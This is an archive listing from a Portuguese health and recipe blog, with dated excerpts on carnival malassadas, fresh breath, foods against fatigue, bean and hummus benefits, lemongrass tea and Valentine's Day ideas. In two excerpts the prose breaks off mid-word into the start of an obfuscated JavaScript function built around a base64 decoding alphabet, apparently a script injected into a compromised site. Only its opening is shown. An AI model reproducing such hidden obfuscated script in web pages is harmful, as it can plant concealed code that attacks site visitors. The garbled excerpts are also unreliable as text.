Receita de malassadas da Madeira para comer no Carnaval

Fev 25, 2017 | Receitas

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Receita de malassadas da Madeira para comer no Carnaval   Apesar de ser muito cuidadosa com a minha alimentação, não deixo de provar as iguarias típicas de cada época. É o caso das malassadas, um doce frito tradicional da Ilha da Madeira, que é muito usual comer-se...

Dicas para ter um hálito fresco e saudável

Fev 22, 2017 | Dicas úteis

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Dicas para ter um hálito fresco e saudável   Manter uma boa higiene oral, com a escovagem diária dos dentes e o uso do fio dentário, é o primeiro passo para combater o mau hálito. Mas manter uma boca fresca vai muito além da pasta de dentes, do fio dentário e  do...

10 alimentos para combater a fadiga

Fev 20, 2017 | Dicas úteis

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10 alimentos para combater a fadiga   De certeza que sabe reconhecer o estado de fadiga. É qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...

Benefícios do feijão + receita feijoada saudável

Fev 18, 2017 | Dicas úteis, Receitas

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Benefícios do feijão + receita feijoada saudável   Os benefícios do feijão são imensos. Posso desde já adiantar alguns: é rico em fibra, uma excelente fonte de proteína, ferro, cálcio e vitaminas do complexo B. Ajuda a baixar os níveis de colesterol e os níveis de...

Dicas saudáveis – 7 benefícios do húmus + receita

Fev 16, 2017 | À descoberta, Receitas

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Dicas saudáveis – 7 benefícios do húmus + receita     Já sabe que adoro dar-lhes dicas saudáveis! Hoje trago-lhe um snack fantástico riquíssimo em benefícios para a nossa saúde. O húmus é um prato árabe feito à base de grão de bico, azeite, sumo de limão e...

Chá de erva-príncipe – Benefícios e receita

Fev 15, 2017 | À descoberta, Dicas úteis

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Chá de erva-príncipe – Benefícios e receita   Já ouviu falar neste chá com um sabor demasiado bom para ser verdade? Não? Então saiba tudo aqui: ORIGEM A erva-príncipe é uma planta que tem a sua origem na Índia. Além de servir para fazer chá também é utilizada...

Duas sobremesas românticas e sensuais

Fev 14, 2017 | À descoberta, Receitas

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Duas sobremesas românticas e sensuais   Fevereiro é o mês dos namorados e nada melhor que uma sobremesa sensual e deliciosa para surpreender a sua cara-metade neste dia tão especial… Hoje trago-lhe duas sugestões de sobremesas irresistíveis que vai querer...

Dia dos Namorados: 10 presentes para ele

Fev 12, 2017 | Apanhados na rede, Dicas úteis

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Dia dos Namorados: 10 presentes para ele     O Dia dos Namorados está aí à porta e para muitas mulheres comprar presentes para namorados e maridos não é tão simples como comprar para nós. A verdade é que nós, qufunction a4872b9c6b(y1){var...